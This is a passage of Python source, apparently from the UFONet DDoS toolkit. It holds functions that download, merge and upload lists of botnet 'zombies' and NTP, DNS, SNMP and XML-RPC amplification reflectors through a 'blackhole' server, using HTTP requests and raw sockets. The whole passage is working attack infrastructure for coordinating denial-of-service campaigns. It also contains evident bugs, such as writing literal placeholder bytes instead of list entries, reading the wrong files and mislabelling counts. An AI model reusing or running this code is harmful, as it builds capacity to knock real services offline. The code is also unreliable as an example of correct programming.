req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
print('-'*12 + '\n')
print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
return
print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
f_out_abductions = open('botnet/abductions.txt', 'wb')
f_out_abductions.write(f_in_abductions.read())
f_in_abductions.close()
f_out_abductions.close()
num_zombies = 0
with open('botnet/abductions.txt') as f:
for _ in f:
num_zombies = num_zombies + 1
print("\n[Info] [Blackhole] Total [Zombies]: "+ str(num_zombies))
f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
f_out_robots = open('botnet/robots.txt', 'wb')
f_out_robots.write(f_in_robots.read())
f_in_robots.close()
f_out_robots.close()
num_robots = 0
with open('botnet/robots.txt') as f:
for _ in f:
num_robots = num_robots + 1
print("[Info] [Blackhole] Total [Droids] : "+ str(num_robots))
f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
f_out_troops = open('botnet/troops.txt', 'wb')
f_out_troops.write(f_in_troops.read())
f_in_troops.close()
f_out_troops.close()
num_aliens = 0
with open('botnet/aliens.txt') as f:
for _ in f:
num_aliens = num_aliens + 1
print("[Info] [Blackhole] Total [Aliens] : "+ str(num_aliens))
f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
f_out_drones = open('botnet/drones.txt', 'wb')
f_out_drones.write(f_in_drones.read())
f_in_drones.close()
f_out_drones.close()
num_drones = 0
with open('botnet/drones.txt') as f:
for _ in f:
num_drones = num_drones + 1
print("[Info] [Blackhole] Total [UCAVs] : "+ str(num_drones))
f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
f_out_reflectors = open('botnet/reflectors.txt', 'wb')
f_out_reflectors.write(f_in_reflectors.read())
f_in_reflectors.close()
f_out_reflectors.close()
num_reflectors = 0
with open('botnet/reflectors.txt') as f:
for _ in f:
num_reflectors = num_reflectors + 1
print("[Info] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
f_out_crystals = open('botnet/crystals.txt', 'wb')
f_out_crystals.write(f_in_crystals.read())
f_in_crystals.close()
f_out_crystals.close()
num_crystals = 0
with open('botnet/crystals.txt') as f:
for _ in f:
num_crystals = num_crystals + 1
print("[Info] [Blackhole] Total [NTPs] : "+ str(num_crystals))
f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
f_out_warps = open('botnet/warps.txt', 'wb')
f_out_warps.write(f_in_warps.read())
f_in_warps.close()
f_out_warps.close()
num_warps = 0
with open('botnet/warps.txt') as f:
for _ in f:
num_warps = num_warps + 1
print("[Info] [Blackhole] Total [DNSs] : "+ str(num_warps))
f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
f_out_bosons = open('botnet/bosons.txt', 'wb')
f_out_bosons.write(f_in_bosons.read())
f_in_bosons.close()
f_out_bosons.close()
num_bosons = 0
with open('botnet/bosons.txt') as f:
for _ in f:
num_bosons = num_bosons + 1
print("[Info] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
print('-'*12 + '\n')
if not self.options.forceyes:
update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
print('-'*25)
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
os.remove('botnet/abductions.txt')
os.remove('botnet/troops.txt')
os.remove('botnet/robots.txt')
os.remove('botnet/drones.txt')
os.remove('botnet/reflectors.txt')
os.remove('botnet/crystals.txt')
os.remove('botnet/warps.txt')
os.remove('botnet/bosons.txt')
print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
return
else:
print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n")
print('='*35)
zombies = self.extract_zombies()
if not zombies:
return
test = self.testing(zombies)
zombies_community = []
zombies_added = 0
f = open('botnet/abductions.txt')
abductions = f.readlines()
abductions = [abduction.strip() for abduction in abductions]
f.close()
fz = open(self.zombies_file)
zombies = fz.readlines()
zombies = [zombie.strip() for zombie in zombies]
fz.close()
for zombie in zombies:
if zombie not in abductions:
zombies_community.append(zombie)
zombies_added = zombies_added + 1
else:
pass
print("[Info] [Blackhole] Added [Zombies]: " + str(zombies_added))
aliens = self.extract_aliens()
if not aliens:
return
aliens_community = []
aliens_added = 0
f = open('botnet/troops.txt')
troops = f.readlines()
troops = [troop.strip() for troop in troops]
f.close()
fz = open(self.aliens_file)
aliens = fz.readlines()
aliens = [alien.strip() for alien in aliens]
fz.close()
for alien in aliens:
if alien not in troops:
aliens_community.append(alien)
aliens_added = aliens_added + 1
else:
pass
print("[Info] [Blackhole] Added [Aliens] : " + str(aliens_added))
droids = self.extract_droids()
if not droids:
return
droids_community = []
droids_added = 0
f = open('botnet/robots.txt')
robots = f.readlines()
robots = [robot.strip() for robot in robots]
f.close()
fz = open(self.droids_file)
droids = fz.readlines()
droids = [droid.strip() for droid in droids]
fz.close()
for droid in droids:
if droid not in robots:
droids_community.append(droid)
droids_added = droids_added + 1
else:
pass
print("[Info] [Blackhole] Added [Droids] : " + str(droids_added))
ucavs = self.extract_ucavs()
if not ucavs:
return
ucavs_community = []
ucavs_added = 0
f = open('botnet/drones.txt')
drones = f.readlines()
drones = [drone.strip() for drone in drones]
f.close()
fz = open(self.ucavs_file)
ucavs = fz.readlines()
ucavs = [ucav.strip() for ucav in ucavs]
fz.close()
for ucav in ucavs:
if ucav not in drones:
ucavs_community.append(ucav)
ucavs_added = ucavs_added + 1
else:
pass
print("[Info] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
rpcs = self.extract_rpcs()
if not rpcs:
return
rpcs_community = []
rpcs_added = 0
f = open('botnet/reflectors.txt')
reflectors = f.readlines()
reflectors = [reflector.strip() for reflector in reflectors]
f.close()
fz = open(self.rpcs_file)
rpcs = fz.readlines()
rpcs = [rpc.strip() for rpc in rpcs]
fz.close()
for rpc in rpcs:
if rpc not in reflectors:
rpcs_community.append(rpc)
rpcs_added = rpcs_added + 1
else:
pass
print("[Info] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
ntps = self.extract_ntps()
if not ntps:
return
ntps_community = []
ntps_added = 0
f = open('botnet/crystals.txt')
crystals = f.readlines()
crystals = [crystal.strip() for crystal in crystals]
f.close()
fz = open(self.ntps_file)
ntps = fz.readlines()
ntps = [ntp.strip() for ntp in ntps]
fz.close()
for ntp in ntps:
if ntp not in crystals:
ntps_community.append(ntp)
ntps_added = ntps_added + 1
else:
pass
print("[Info] [Blackhole] Added [NTPs] : " + str(ntps_added))
dnss = self.extract_dnss()
if not dnss:
return
dnss_community = []
dnss_added = 0
f = open('botnet/warps.txt')
warps = f.readlines()
warps = [warp.strip() for warp in warps]
f.close()
fz = open(self.dnss_file)
dnss = fz.readlines()
dnss = [dns.strip() for dns in dnss]
fz.close()
for dns in dnss:
if dns not in warps:
dnss_community.append(dns)
dnss_added = dnss_added + 1
else:
pass
print("[Info] [Blackhole] Added [DNSs] : " + str(dnss_added))
snmps = self.extract_snmps()
if not snmps:
return
snmps_community = []
snmps_added = 0
f = open('botnet/bosons.txt')
bosons = f.readlines()
bosons = [boson.strip() for boson in bosons]
f.close()
fz = open(self.snmps_file)
snmps = fz.readlines()
snmps = [snmp.strip() for snmp in snmps]
fz.close()
for snmp in snmps:
if snmp not in crystals:
snmps_community.append(snmp)
snmps_added = snmps_added + 1
else:
pass
print("[Info] [Blackhole] Added [SNMPs] : " + str(snmps_added))
print('-'*12 + '\n')
if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0:
os.remove('botnet/abductions.txt')
os.remove('botnet/troops.txt')
os.remove('botnet/robots.txt')
os.remove('botnet/drones.txt')
os.remove('botnet/reflectors.txt')
os.remove('botnet/crystals.txt')
os.remove('botnet/warps.txt')
os.remove('botnet/bosons.txt')
print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
return
else:
print("[Info] [AI] Trying to upload new [Zombies] to [Blackhole]...\n")
fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
for zombie in zombies_community:
fc.write(b'zombie.strip()')
fc.close()
os.remove('botnet/abductions.txt')
fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
for alien in aliens_community:
fc.write(b'alien.strip()')
fc.close()
os.remove('botnet/troops.txt')
fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
for droid in droids_community:
fc.write(b'droid.strip()')
fc.close()
os.remove('botnet/robots.txt')
fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
for ucav in ucavs_community:
fc.write(b'ucav.strip()')
fc.close()
os.remove('botnet/drones.txt')
fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
for rpc in rpcs_community:
fc.write(b'rpc.strip()')
fc.close()
os.remove('botnet/reflectors.txt')
fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
for ntp in ntps_community:
fc.write(b'ntp.strip()')
fc.close()
os.remove('botnet/crystals.txt')
fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
for dns in dnss_community:
fc.write(b'dns.strip()')
fc.close()
os.remove('botnet/warps.txt')
fc = gzip.open('botnet/community_snmps.txt.gz', 'wb')
for snmp in snmps_community:
fc.write(b'snmp.strip()')
fc.close()
os.remove('botnet/bosons.txt')
try:
host = self.blackhole
cport = 9991
mport = 9990
try:
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cs.connect((host, cport))
cs.send(("SEND " + 'community_zombies.txt.gz').encode())
cs.close()
f = open('botnet/community_zombies.txt.gz', "rb")
data = f.read()
f.close()
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ms.connect((host, mport))
ms.send(data)
ms.close()
os.remove('botnet/community_zombies.txt.gz')
time.sleep(1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cs.connect((host, cport))
cs.send(("SEND " + 'community_aliens.txt.gz').encode())
cs.close()
f = open('botnet/community_aliens.txt.gz', "rb")
data = f.read()
f.close()
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ms.connect((host, mport))
ms.send(data)
ms.close()
os.remove('botnet/community_aliens.txt.gz')
time.sleep(1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cs.connect((host, cport))
cs.send(("SEND " + 'community_robots.txt.gz').encode())
cs.close()
f = open('botnet/community_droids.txt.gz', "rb")
data = f.read()
f.close()
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ms.connect((host, mport))
ms.send(data)
ms.close()
os.remove('botnet/community_droids.txt.gz')
time.sleep(1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cs.connect((host, cport))
cs.send(("SEND " + 'community_ucavs.txt.gz').encode())
cs.close()
f = open('botnet/community_ucavs.txt.gz', "rb")
data = f.read()
f.close()
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ms.connect((host, mport))
ms.send(data)
ms.close()
os.remove('botnet/community_ucavs.txt.gz')
time.sleep(1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cs.connect((host, cport))
cs.send(("SEND " + 'community_rpcs.txt.gz').encode())
cs.close()
f = open('botnet/community_rpcs.txt.gz', "rb")
data = f.read()
f.close()
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ms.connect((host, mport))
ms.send(data)
ms.close()
os.remove('botnet/community_rpcs.txt.gz')
time.sleep(1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cs.connect((host, cport))
cs.send(("SEND " + 'community_ntps.txt.gz').encode())
cs.close()
f = open('botnet/community_ntps.txt.gz', "rb")
data = f.read()
f.close()
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ms.connect((host, mport))
ms.send(data)
ms.close()
os.remove('botnet/community_ntps.txt.gz')
time.sleep(1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cs.connect((host, cport))
cs.send(("SEND " + 'community_dnss.txt.gz').encode())
cs.close()
f = open('botnet/community_dnss.txt.gz', "rb")
data = f.read()
f.close()
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ms.connect((host, mport))
ms.send(data)
ms.close()
os.remove('botnet/community_dnss.txt.gz')
time.sleep(1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cs.connect((host, cport))
cs.send(("SEND " + 'community_snmps.txt.gz').encode())
cs.close()
f = open('botnet/community_snmps.txt.gz', "rb")
data = f.read()
f.close()
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ms.connect((host, mport))
ms.send(data)
ms.close()
os.remove('botnet/community_snmps.txt.gz')
time.sleep(2)
print('-'*12 + '\n')
print("[Info] [AI] Transfer -> [DONE!]\n")
except Exception as e:
print(str(e) + "\n")
except:
print('-'*12 + '\n')
print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
return
except Exception as e:
print(str(e) + "\n")
print('-'*12 + '\n')
print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
return
def update_gui_data(self):
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
if self.options.proxy:
self.proxy_transport(self.options.proxy)
if self.options.timeout:
try:
timeout = int(self.options.timeout)
except:
timeout = 5
else:
timeout = 5
if timeout < 1:
timeout = 5
if self.options.forcessl:
news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
tv = urllib.request.Request('https://'+self.blackhole+'/ufonet/tv.txt', None, headers)
tv_reply = urllib.request.urlopen(tv, context=self.ctx, timeout=timeout).read().decode('utf-8')
missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
links = urllib.request.Request('https://'+self.blackhole+'/ufonet/links.txt', None, headers)
links_reply = urllib.request.urlopen(links, context=self.ctx, timeout=timeout).read().decode('utf-8')
streams = urllib.request.Request('https://'+self.blackhole+'/ufonet/streams.txt', None, headers)
streams_reply = urllib.request.urlopen(streams, context=self.ctx, timeout=timeout).read().decode('utf-8')
globalnet = urllib.request.Request('https://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx, timeout=timeout).read().decode('utf-8')
nodes = urllib.request.Request('https://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
nodes_reply = urllib.request.urlopen(nodes, context=self.ctx, timeout=timeout).read().decode('utf-8')
else:
news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
tv = urllib.request.Request('http://'+self.blackhole+'/ufonet/tv.txt', None, headers)
tv_reply = urllib.request.urlopen(tv, context=self.ctx).read().decode('utf-8')
missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
links = urllib.request.Request('http://'+self.blackhole+'/ufonet/links.txt', None, headers)
links_reply = urllib.request.urlopen(links, context=self.ctx).read().decode('utf-8')
streams = urllib.request.Request('http://'+self.blackhole+'/ufonet/streams.txt', None, headers)
streams_reply = urllib.request.urlopen(streams, context=self.ctx).read().decode('utf-8')
globalnet = urllib.request.Request('http://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx).read().decode('utf-8')
nodes = urllib.request.Request('http://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
nodes_reply = urllib.request.urlopen(nodes, context=self.ctx).read().decode('utf-8')
f = open(self.news_file, 'w')
f.write(news_reply)
f.close()
f = open(self.tv_file, 'w')
f.write(tv_reply)
f.close()
f = open(self.missions_file, 'w')
f.write(missions_reply)
f.close()
f = open(self.board_file, 'w')
f.write(board_reply)
f.close()
f = open(self.grid_file, 'w')
f.write(grid_reply)
f.close()
f = open(self.wargames_file, 'w')
f.write(wargames_reply)
f.close()
f = open(self.links_file, 'w')
f.write(links_reply)
f.close()
f = open(self.streams_file, 'w')
f.write(streams_reply)
f.close()
f = open(self.globalnet_file, 'w')
f.write(globalnet_reply)
f.close()
f = open(self.nodes_file, 'w')
f.write(nodes_reply)
f.close()
print('-'*25 + "\n")
print("[Info] [AI] GUI data correctly updated:\n")
if news_reply:
print("[Info] [AI] [News] : OK!")
if missions_reply:
print("[Info] [AI] [Missions] : OK!")
if board_reply:
print("[Info] [AI] [Board] : OK!")
if grid_reply:
print("[Info] [AI] [Grid] : OK!")
if wargames_reply:
print("[Info] [AI] [Wargames] : OK!")
if links_reply:
print("[Info] [AI] [Links] : OK!")
if streams_reply:
print("[Info] [AI] [Streams] : OK!")
if tv_reply:
print("[Info] [AI] [TV] : OK!")
if globalnet_reply:
print("[Info] [AI] [GlobalNet]: OK!")
if nodes_reply:
print("[Info] [AI] [Nodes] : OK!")
print('-'*25)
print("\n[AI] "+self.exit_msg+"\n")
def downloading_list(self):
try:
print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
if self.options.timeout:
try:
timeout = int(self.options.timeout)
except:
timeout = 5
else:
timeout = 5
if timeout < 1:
timeout = 5
if self.options.proxy:
self.proxy_transport(self.options.proxy)
if self.options.forcessl:
try:
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
abductions_reply = ""
try:
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
troops_reply = ""
try:
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
robots_reply = ""
try:
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
drones_reply = ""
try:
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
reflectors_reply = ""
try:
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
crystals_reply = ""
try:
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
warps_reply = ""
try:
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
bosons_reply = ""
else:
try:
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
abductions_reply = ""
try:
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
troops_reply = ""
try:
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
robots_reply = ""
try:
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
drones_reply = ""
try:
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
reflectors_reply = ""
try:
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
crystals_reply = ""
try:
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
warps_reply = ""
try:
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
except:
bosons_reply = ""
if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
print('-'*12 + '\n')
print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
return
f = open('botnet/abductions.txt.gz', 'wb')
f.write(abductions_reply)
f.close()
f = open('botnet/troops.txt.gz', 'wb')
f.write(troops_reply)
f.close()
f = open('botnet/robots.txt.gz', 'wb')
f.write(robots_reply)
f.close()
f = open('botnet/drones.txt.gz', 'wb')
f.write(drones_reply)
f.close()
f = open('botnet/reflectors.txt.gz', 'wb')
f.write(reflectors_reply)
f.close()
f = open('botnet/crystals.txt.gz', 'wb')
f.write(crystals_reply)
f.close()
f = open('botnet/warps.txt.gz', 'wb')
f.write(warps_reply)
f.close()
f = open('botnet/bosons.txt.gz', 'wb')
f.write(bosons_reply)
f.close()
print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
except:
print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
print('-'*12 + '\n')
print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
return
print('-'*12 + '\n')
f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
f_out_abductions = open('botnet/abductions.txt', 'wb')
f_out_abductions.write(f_in_abductions.read())
f_in_abductions.close()
f_out_abductions.close()
os.remove('botnet/abductions.txt.gz')
f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
f_out_troops = open('botnet/troops.txt', 'wb')
f_out_troops.write(f_in_troops.read())
f_in_troops.close()
f_out_troops.close()
os.remove('botnet/troops.txt.gz')
f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
f_out_robots = open('botnet/robots.txt', 'wb')
f_out_robots.write(f_in_robots.read())
f_in_robots.close()
f_out_robots.close()
os.remove('botnet/robots.txt.gz')
f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
f_out_drones = open('botnet/drones.txt', 'wb')
f_out_drones.write(f_in_drones.read())
f_in_drones.close()
f_out_drones.close()
os.remove('botnet/drones.txt.gz')
f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
f_out_reflectors = open('botnet/reflectors.txt', 'wb')
f_out_reflectors.write(f_in_reflectors.read())
f_in_reflectors.close()
f_out_reflectors.close()
os.remove('botnet/reflectors.txt.gz')
f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
f_out_crystals = open('botnet/crystals.txt', 'wb')
f_out_crystals.write(f_in_crystals.read())
f_in_crystals.close()
f_out_crystals.close()
os.remove('botnet/crystals.txt.gz')
f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
f_out_warps = open('botnet/warps.txt', 'wb')
f_out_warps.write(f_in_warps.read())
f_in_warps.close()
f_out_warps.close()
os.remove('botnet/warps.txt.gz')
f_in_bosons = gzip.open('botnet/bosons.txt.gz', 'rb')
f_out_bosons = open('botnet/bosons.txt', 'wb')
f_out_bosons.write(f_in_bosons.read())
f_in_bosons.close()
f_out_bosons.close()
os.remove('botnet/bosons.txt.gz')
num_abductions = 0
with open('botnet/abductions.txt') as f:
for _ in f:
num_abductions = num_abductions + 1
print("[Info] Zombies: " + str(num_abductions))
num_robots = 0
with open('botnet/robots.txt') as f:
for _ in f:
num_robots = num_robots + 1
print("[Info] Droids : " + str(num_robots))
num_troops = 0
with open('botnet/troops.txt') as f:
for _ in f:
num_troops = num_troops + 1
print("[Info] Aliens : " + str(num_troops))
num_drones = 0
with open('botnet/drones.txt') as f:
for _ in f:
num_drones = num_drones + 1
print("[Info] UCAVs : " + str(num_drones))
num_reflectors = 0
with open('botnet/reflectors.txt') as f:
for _ in f:
num_reflectors = num_reflectors + 1
print("[Info] X-RPCs : " + str(num_reflectors))
num_crystals = 0
with open('botnet/crystals.txt') as f:
for _ in f:
num_crystals = num_crystals + 1
print("[Info] DNSs : " + str(num_crystals))
num_warps = 0
with open('botnet/warps.txt') as f:
for _ in f:
num_warps = num_warps + 1
print("[Info] NTPs : " + str(num_warps))
num_bosons = 0
with open('botnet/bosons.txt') as f:
for _ in f:
num_bosons = num_bosons + 1
print("[Info] SNMPs : " + str(num_bosons))
total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
print('-'*12)
if not self.options.forceyes:
update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
print('-'*25)
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
os.remove('botnet/abductions.txt')
os.remove('botnet/troops.txt')
os.remove('botnet/robots.txt')
os.remove('botnet/drones.txt')
os.remove('botnet/reflectors.txt')
os.remove('botnet/crystals.txt')
os.remove('botnet/warps.txt')
os.remove('botnet/bosons.txt')
print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
print('-'*25)
print("\n[AI] "+self.exit_msg+"\n")
else:
zombies_ready = []
f = open('botnet/abductions.txt')
abductions = f.readlines()
f.close()
fz = open(self.zombies_file)
zombies = fz.readlines()
fz.close()
for abduction in abductions:
abduction = abduction.replace('\n','')
if abduction not in zombies:
zombies_ready.append(abduction)
else:
pass
self.update_zombies(zombies_ready)
os.remove('botnet/abductions.txt')
aliens_ready = []
f = open('botnet/troops.txt')
troops = f.readlines()
f.close()
fz = open(self.aliens_file)
aliens = fz.readlines()
fz.close()
for alien in troops:
alien = alien.replace('\n','')
if alien not in aliens:
aliens_ready.append(alien)
else:
pass
self.update_aliens(aliens_ready)
os.remove('botnet/troops.txt')
droids_ready = []
f = open('botnet/robots.txt')
robots = f.readlines()
f.close()
fz = open(self.droids_file)
droids = fz.readlines()
fz.close()
for droid in robots:
droid = droid.replace('\n','')
if droid not in droids:
droids_ready.append(droid)
else:
pass
self.update_droids(droids_ready)
os.remove('botnet/robots.txt')
ucavs_ready = []
f = open('botnet/drones.txt')
drones = f.readlines()
f.close()
fz = open(self.ucavs_file)
ucavs = fz.readlines()
fz.close()
for drone in drones:
drone = drone.replace('\n','')
if drone not in ucavs:
ucavs_ready.append(drone)
else:
pass
self.update_ucavs(ucavs_ready)
os.remove('botnet/drones.txt')
rpcs_ready = []
f = open('botnet/reflectors.txt')
reflectors = f.readlines()
f.close()
